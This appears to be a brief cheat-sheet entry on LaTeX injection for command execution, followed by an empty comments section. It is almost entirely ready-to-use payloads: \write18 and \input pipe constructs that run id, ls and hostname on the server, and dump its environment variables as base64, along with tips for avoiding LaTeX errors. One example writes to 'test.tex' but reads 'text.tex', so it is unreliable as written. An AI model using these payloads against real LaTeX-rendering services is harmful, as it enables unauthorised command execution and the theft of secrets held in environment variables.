LaTeX Injection: Command Execution
The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
\immediate\write18{id > output}
\input{output}If you get any LaTex error, consider using base64 to get the result without bad characters (or use \verbatiminput):
\immediate\write18{env | base64 > test.tex}
\input{text.tex}\input|ls|base64
\input{|"/bin/hostname"}
Comments
No comments yet.